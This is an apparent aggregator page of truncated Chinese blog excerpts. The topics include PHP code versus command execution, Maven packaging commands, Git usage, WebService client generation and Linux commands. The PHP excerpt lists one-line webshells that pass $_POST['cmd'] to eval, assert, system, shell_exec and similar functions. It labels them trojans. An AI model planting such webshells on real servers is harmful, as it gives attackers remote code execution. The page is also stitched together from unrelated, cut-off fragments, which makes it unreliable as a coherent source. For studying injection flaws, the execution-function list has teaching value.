精华内容
下载资源
问答
  • eval()函数system()函数的区别(代码执行和命令执行)


    今天写命令执行博客的时候发现eval函数和system函数两者用起来有很大区别,这才记起来以前学到过eval是代码执行而system是命令执行,时间太久都忘记了,所以再复习一遍。

    虽然代码执行漏洞和命令执行漏洞在提交漏洞时分的没那么详细,但我们在学习时还是要学会区分不同的概念。

    eval()函数和system()函数的比较

    eval类型函数是代码执行而不是命令执行(一句话木马)

    system类型函数是命令执行而不是代码执行

    eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()'d code

    <?php
        eval("echo 1+1;");    //2
        system("echo 1+1;");  //1+1;
    ?>
    
    <?php
        $num=1;
        eval("\$a = $num;");    //有效,$a=1
        system("\$b = $num;");  //无效,$b=NULL  
    ?>
    
    <?php
        eval("phpinfo();");   //phpinfo()被执行
        system("phpinfo()");  //phpinfo()不被执行
    ?>
    
    <?php
        system("whoami");    //whoami命令被执行
    	eval("whoami");      //whoami命令不被执行
    ?>
    

    代码执行函数:

    1-eval
    <?php eval($_POST["cmd"]) ?>
    
    2-assert
    <?php assert($_POST["cmd"]) ?>
    
    3-call_user_func
    <?php
        call_user_func($_POST["fun"],$_POST["para"])
    ?>
    //post:fun=assert&para=phpinfo();
    
    4-create_function
    <?php 
        $a= $_POST['func'];
        $b = create_function('$a',"echo $a");
        $b('');
    ?>
    //post:func=phpinfo();
    
    5-array_map
    <?php
        $array = array(0,1,2,3,4,5);
        array_map($_GET['func'],$array);
    ?>
    //post:func=phpinfo
    

    命令执行函数:

    1-system
    <?php system($_POST["cmd"]);?>
    
    2-passthru
    <?php passthru($_POST["cmd"]);?>
    
    3-exec
    <?php echo exec($_POST["cmd"]);?>
    
    4-pcntl_exec
    <?php 
        pcntl_exec("/bin/bash",array($_POST["cmd"]));
    ?>
    
    5-shell_exec
    <?php echo shell_exec($_POST["cmd"]); ?>
    
    6-popen()/proc_popen()
    <?php $handle = popen("/bin/ls","r");?>
    
    7-``
    <?php echo `whoami`?>
    
    8-
    <?php
    	$cmd = 'system';
    	ob_start($cmd)
    	echo "$_GET[a]";
    	ob_end_flush();
    ?>
    //?a=whoami
    
    展开全文
  • 理解maven命令package、install、deploy的联系与区别

    万次阅读 多人点赞 2018-05-15 16:15:39
    我们在用maven构建java项目时,最常用的打包命令有mvn package、mvn install、deploy,这三个命令都可完成打jar包或war(当然也可以是其它形式的包)的功能,但这三个命令还是有区别的。下面通过分别执行这三个命令...

    鄙人的新书《Elasticsearch权威指南》正式出版发行,欢迎购买!本书由华为、中兴高级技术专家全面审读并撰序,助您挑战百万年薪 购书链接: 在这里插入图片描述

    《Elasticsearch权威指南》

    欢迎关注鄙人公众号,技术干货随时看!
    在这里插入图片描述

    技术交流qq群: 659201069

    鄙人的新书《elasticsearch7完全开发指南》,欢迎订阅!

    https://wenku.baidu.com/view/8ff2ce94591b6bd97f192279168884868762b8e7

    《kibana权威指南》

    https://wenku.baidu.com/view/24cfee1ce43a580216fc700abb68a98270feac21

    我们在用maven构建java项目时,最常用的打包命令有mvn package、mvn install、deploy,这三个命令都可完成打jar包或war(当然也可以是其它形式的包)的功能,但这三个命令还是有区别的。下面通过分别执行这三个命令的输出结果,来分析各自所执行的maven的生命周期。

    mvn clean package

    这里写图片描述这里写图片描述

    mvn clean install

    这里写图片描述这里写图片描述

    mvn clean deploy(忽略最后的BUILD FAILURE)

    这里写图片描述这里写图片描述

    通过三个命令的输出我们可以看出三者的区别在于包函的maven生命的阶段和执行目标(goal)不同。在我的上一篇文章https://blog.csdn.net/zhaojianting/article/details/80321488 中介绍了maven的生命周期和各种插件,不明白的请参考此博文。maven生命周期(lifecycle)由各个阶段组成,每个阶段由maven的插件plugin来执行完成。生命周期(lifecycle)主要包括clean、resources、complie、install、pacakge、testResources、testCompile、deploy等,其中带test开头的都是用业编译测试代码或运行单元测试用例的。

    仔细查看上面的输出结果截图,可以发现,

    • mvn clean package依次执行了clean、resources、compile、testResources、testCompile、test、jar(打包)等7个阶段。
    • mvn clean install依次执行了clean、resources、compile、testResources、testCompile、test、jar(打包)、install等8个阶段。
    • mvn clean deploy依次执行了clean、resources、compile、testResources、testCompile、test、jar(打包)、install、deploy等9个阶段。

    由上面的分析可知主要区别如下,

    • package命令完成了项目编译、单元测试、打包功能,但没有把打好的可执行jar包(war包或其它形式的包)布署到本地maven仓库和远程maven私服仓库
    • install命令完成了项目编译、单元测试、打包功能,同时把打好的可执行jar包(war包或其它形式的包)布署到本地maven仓库,但没有布署到远程maven私服仓库
    • deploy命令完成了项目编译、单元测试、打包功能,同时把打好的可执行jar包(war包或其它形式的包)布署到本地maven仓库和远程maven私服仓库
    展开全文
  • Git 基本操作、常用命令代码打包 及 代码发布 等

    Git 基本操作、常用命令、代码打包 及 代码发布

    一、基础操作:

    克隆/签出 远程代码到本地
    1.签出、拉取、提交代码流程
    git clone https://git.xxx.com/xxx/xxx.git 签出代码(默认master分支)
    2.设置个人提交信息
    git config –global user.name ‘your name’ 提交代码显示名
    git config –global user.email ‘your email’
    3.切换至开发分支dev
    git checkout [-b] dev 切换至开发分支dev(有dev分支时)
    4.分支与本地分支关联,免输 [origin dev] 直接使用命令 git pull、git push
    git branch –set-upstream-to=origin/dev dev 使用较新版本
    git branch –set-upstream origin/dev dev 早期版本

    或 修改.git/config 增加一下对应关系
    5.代码提交
    git status 查看当前 变动 文件
    git add . 当前所有改变
    git add xxx.html ss/x.html 【具体文件】
    git commit -m ‘备注信息’
    git pull [origin dev] 拉取新代码,有冲突解决,commit解决冲突版本
    git push [origin dev] 推送本地提交到远程
    Create a new repository
    创建一个新git远程项目
    mkdir xxx
    cd xxx
    git init
    touch README.md
    git add README.md
    git commit -m “first commit”
    git remote add origin git@git.xxx.cn:xx/bbc.git
    git push -u origin master
    Push an existing Git repository
    在已有内容项目上切换远程
    cd existing_git_repo
    git remote add origin git@git.xxx.cn:xxx/bbc.git
    免输用户名、密码
    【https方式】git地址是https:https://username:password@git.xx.com/xxx.git
    git remote set-url origin https://username:password@git.xx.com/xxx.git

    【ssh方式】git地址是ssh:ssh://git@git.xxx.com/xxx/xxx.git

    ssh-keygen -C rsa
    Enter..
    Enter..
    Enter..
    cat ~/.ssh/id_rsa.pub
    copy 到 git.xxx 控制面板 上 保存


    二、常用命令使用

    $ git init  初始化文件夹为一个git项目目录
    $ git clone https://git.xxx.com/xxx/xxx.git  签出代码
    
    /* Git global setup 全局参数设置(初始化新项目时)*/
    $ git config --global user.name "show name"
    $ git config --global user.email "email"
    
    $ git remote -v 查看远程分支
    $ git remote set-url origin https://xxxx.git   设置/修改git远程地址
    $ git remote rm origin 删除远程地址
    $ git remote add origin https://xxxx.git   添加远程地址
    
    $ git branch [-r][-v]查看本地分支
    $ git checkout [-b] dev 切换[新]分支
    $ git checkout sss.html 还原本地修改,到最新版本
    $ git status 查看文件变化列表
    $ git diff 查看当前版本所有修改
    $ git diff xxx.html 查看具体某文件修改
    $ git add [.][xxx.ss yyy.ss] 添加到提交版本
    $ git reset xxx.ss 还原 git add 的文件到不加入提交列表中
    $ git reset --hard [62ecb3] 把所有文件修改还原成[指定,默认最新]版本
    $ git commit -m '备注' 提交本地
    $ git pull [origin dev]  拉取远程代码到本地
    $ git fetch  将本地库所关联的远程库的commit id更新至最新
    $ git push [-u] [origin dev]  推送本地[新分支]commits到远程
    $ git log 查看日志列表commit列表(包括commit未Push的)
    $ git log xxx.ss   查看某文件的提交版本
    $ git log -p 查看日志版本文件修改内容
    $ git show 62ecb3 [sss.xx]查看某版本[文件]改变内容
    
    $ git stash 暂存文件
    $ git stash pop 还原暂存文件
    
    $ git merge dev 合并dev分支提交版本至当前分支
    
    $ git cherry-pick 62ecb3   单独合并某分支某次特定提交到要合并的版本到master
    
    /* 合并某个分支上的一系列commits到master */
    $ git checkout -b newbranch 62ecb3  从有新提交的分支上基于某特定commit基础上创建一个新分支
    $ git rebase --onto master 76cada^  选择特定要合并的commit到主分支
    
    打包上线
    git archive -o ../publish_packet/ec/pub_2017-12-25.zip HEAD $(git diff --name-only 4f88edfcc0872a1aed6186fd53df7751bd69bfe6^)

    git pull 与 git fetch 区别
    这里写图片描述


    三、代码打包

    方式一:
    命令打包 | 适用所有平台
    git archive -o ../publish_packet/pub_2017-12-25.zip HEAD $(git diff –name-only 4f88edfcc0872a1aed6186fd53df7751bd69bfe6^)
    方式二:
    可视化 TortoiseGit | 适用windows
    - 项目目录鼠标右键菜单 TortoiseGit -> Show log -> 选中要打包的更新版本 鼠标右键->对比文件 -> 全选文件 右键Export -> 选择路径保存
    方式三:
    SourceTree可视化 | 适用windows & mac
    - SourceTree配置自定义导出
    四、代码发布
    方式1:
    直接使用git命令操作(前提,服务器有使用git)
    本地
    $ git checkout master
    $ git merge dev
    $ git push
    
    服务器
    $ git pull
    方式2:
    打包覆盖(服务器没有git)
    代码包上传服务器,解压覆盖
    本地:
    $ scp xxx.tar.gz root@xxx:/data/www/
    或 用可是化工具 安装lrzsz使用 $ rz -be 上传
    
    服务器
    $ tar xvf xxx.tar.gz
    $ \cp -rf xxx/ xx/

    Think it, do it.

    展开全文
  • WebService学习整理-JDK的wsimport命令和cxf的wsdl2java命令区别和使用

    随着项目的服务化,WebService的使用在一些大型的项目中是很常见的,下面介绍两种方式根据提供的服务地址生成客户端代码!

    注:在使用这两种方式的时候都是需要配置环境变量的。cxf的配置和jdk的配置大致一样,这里就不在讲解,没有配置好的百度一下!

    (1)JDK提供了一个wsimport.exe的命令,主要是用于将WebService生成客户端代码,然后调用WebService。

    wsimport是根据JDK1.6.0_21及以上的生成本地代码的,它只能解析服务器端的SOAP协议为1.1,不能解析SOAP1.2的协议。如果解析SOAP1.2 将会解析不完全。
    语法:wsimport -s 文件地址 -p 自定义类包 url路径
    -s 后面指定生成文件的路径,-p 自定义类包 url为 http://localhost:8888/hello?wsdl 是wsdl的路径
    用法:JDK配置为了path环境变量  C:\aflyun>wsimport -s F:\ -p com.aflyun.client.jdk.wsimporthttp://localhost:8888/hello?wsdl

    (2)CXF提供的wsdl2java.exe命令生成客户端代码,然后调用WebService。

    wsdl2java 是CXF提供的根据WSDL生成客户端代码的命令。它是根据jdk1.7生成的本地代码,所以,需要对生成的代码做一点点修改。
     它可以支持SOAP1.1 和SOAP1.2的协议。前提是你已经下载了Apache CXF 并且将wsdl2java.exe配置为了path环境变量。
    语法:wsdl2java -d 文件地址 -p 自定义类包 url路径

    -d 后面指定生成文件的路径,-p 自定义类包  http://localhost:8888/hello?wsdl 是wsdl的路径。
    用法:C:\aflyun>wsdl2java -d F:\ -p com.aflyun.client.cxf http://localhost:8888/hello?wsdl

    展开全文
  • Git 基本操作、常用命令代码打包 及 代码发布一、基础操作:克隆/签出 远程代码到本地1.签出、拉取、提交代码流程 git clone https://git.xxx.com/xxx/xxx.git 签出代码(默认master分支)2.设置个人提交信息 git...
  • ubuntu终端一次多条命令方法和区别

    千次阅读 2019-04-07 10:41:06
    1.每个命令之间用;隔开:各个命令都会执行,但不保证每个命令都执行成功。 2.每个命令之间用&&隔开:若前面的命令执行成功,才会去执行后面的命令。保证所有的命令执行完毕后,执行过程都是成功的。 3.每...
  • Linux中vim命令和cat命令区别

    千次阅读 2016-08-08 23:30:38
    一、vim命令: 1.标签命令 :tabe fn 在一个新的标签页中编辑文件fn gt 切换到下一个标签页 gT 切换到上一个标签页 :tabr 切换到第一个标签页 :tabl 切换到最后一个标签页 :tabm [N] 把当前tab移动到第N...
  • 文章目录Git 代码撤销、回滚到任意版本(当误提代码到本地或master分支时)git回滚命令reset、revert的区别背景知识方法一:git reset(回退)方法二:git revert(反做) Git 代码撤销、回滚到任意版本(当误提代码到...
  • ug后处理tcl文件中的MOM_开头的命令和PB_CMD_开头的命令有什么区别
  • 在linux中install命令和cp命令区别

    万次阅读 2013-09-24 09:28:25
    基本上,在Makefile里会用到install,其他地方会用cp命令。 它们完成同样的任务——拷贝文件,它们之间的区别主要如下: 1、最重要的一点,如果目标文件存在,cp会先清空文件后往里写入新文件,而install则会...
  • JDK提供了一个wsimport.exe的命令,主要是用于将WebService生成客户端代码,然后好调用WebService。 wsimport 是根据JDK1.6.0_21及以上的生成本地代码的,它只能解析服务器端的SOAP协议为1.1,不能解析SOAP1.2的...
  • shell可以通过其条件语句循环语句等,把一系列linux命令结合在一起,形成一个相当于面向过程的程序,shell script,来实现一些较为复杂的功能。 总括,shell是linux命令集的概称,是属于命令行的人机界面。Shell ...
  • centosubuntu命令区别总结列表

    千次阅读 2020-05-24 18:36:26
    CentOS(Community ENTerprise Operating System)是Linux发行版之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释...Ubuntu基于Debian发行版GNOME桌面环境,与Debian的不同在于它每6个月会发布一个...
  • 代码执行与命令执行

    千次阅读 2019-09-27 16:01:00
    代码执行与命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_arr...
  • 一行shell命令实现代码行数统计

    万次阅读 2016-11-24 15:36:35
    shell find 代码统计方法大全
  • 管道命令和xargs的区别(经典解释)

    万次阅读 2012-10-31 22:32:40
    一直弄不懂,管道不就是把前一个命令的结果作为参数给下一个命令吗,那在 | 后面加不加xargs有什么区别 NewUserFF 写道: 懒蜗牛Gentoo 写道: 管道是实现“将前面的标准输出作为后面的标准输入” xargs是实现“将...
  • 1. 获取一份代码,用于测试环境线上环境(相较于git,更多用的是clone): hg clone http://lixl:lixl123@192.168.XXX.XXX/hg/xxx 2. 项目开发,用于开发环境: (在 1 的基础上进行开发之后) 查看...
  • Linux下vi与vim命令使用与区别

    万次阅读 2017-04-07 14:43:30
    我们知道在vi里,按 u只能撤消上次命令,而在vim里可以无限制的撤消。2、易用性vi只能运行于unix中,而vim不仅可以运行于unix,windows ,mac等多操作平台。3、语法加亮 vim可以用不同的颜色来加亮你的代码。4、
  • 在Linux中要修改一个文件夹或文件的权限我们需要用到linuxchmod命令来做,下面我写了几个简单的实例大家可参考一下。 语法如下: chmod [who] [+ | - | =] [mode] 文件名 命令中各选项的含义为 u 表示“用户...
  • 一图看懂centosubuntu命令区别

    千次阅读 多人点赞 2019-12-04 19:08:48
    centos(community ENTerprise Operating System)是linux发型版本之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定性的服务器以...
  • github的常用命令/上传下载代码

    千次阅读 2014-03-29 20:54:14
    git的上传下载 转自http://blog.csdn.net/kingzone_2008/article/details/8727023 http://blog.csdn.net/ithomer/article/details/7529022 由于经常要在家写代码,所以需要有个能够方便访问代码管理工具。...
  • 个人理解--代理模式和命令模式区别

    千次阅读 2017-11-09 16:32:12
    最近在看《大话设计模式》时,书中介绍代理模式用了拜托他人追美眉的例子,介绍命令模式用了通过服务员点烧烤的例子,看完就觉得都是通过一个中间人达到最终目的,于是产生了对这两种设计模式的区别的思考,以下时...
  • bat命令中 rem :: 的区别

    千次阅读 2019-01-14 11:22:04
    bat命令中rem:: 的区别 rem::都起到注释的作用,然而又有些不同。 一、 rem是一条命令,在运行的时候相当于把rem本身及其后面的内容置空。既然它是一条命令,就必须处于单独的一行或者有 类似“&amp;”...
  • linux中基本命令topps的区别

    千次阅读 2017-06-03 18:05:52
     Top中的几个隐含参数: top中按1键F键的参数: 按1键可以等到多个cpu的情况 按F(f:当前状态,可以按相应的字母键做top的定制输出)后得参数: 对F键f键的区别: 如果进入F键区可以做进程显示的排序,如果进入f...
  • vi与vim的区别以及常用命令

    万次阅读 多人点赞 2018-05-29 11:32:38
    一、vi与vim的区别 二、VI模式 三、VIM模式 四、VI与VIM的常用命令
  • /bin/bash#!/bin/sh是什么意思以及区别 一、含义 #!/bin/sh是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面根的是此解释此脚本的shell的路径。 其实第一句的#!是对脚本的解释器程序路径,脚本的...
  • 1.单- 和双- -的区别 ...在这里插入代码片加不加-执行命令的结果是相同的,区别主要涉及Linux风格,System VBSD。 2.1 参数前不加-属于System V风格; 2.2 加-属于BSD风格。  两种风格的区别主要为:  ...
  • 好久没有更新博客了,之前在国美在线一直忙着项目也没有时间更新,最近跳槽百度,下定决心重新开起博客。 ... 正文: ...网上找了很多资料更多的是git命令的使用,口令很多,无从下手,也没有找到一篇关...
  • Git命令中HEAD^HEAD~区别

    千次阅读 2018-09-10 18:23:01
    git命令中HEAD^HEAD~区别。 HEAD^+数字表示当前提交的父提交。具体是第几个父提交共同过^+数字指定,EAD^1第一个父提交,该语法只能用于合并(merge)的提交记录,因为一个通过合并产生的commit对象才有多个父提交...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 428,036
精华内容 171,214
热门标签
关键字:

命令和代码的区别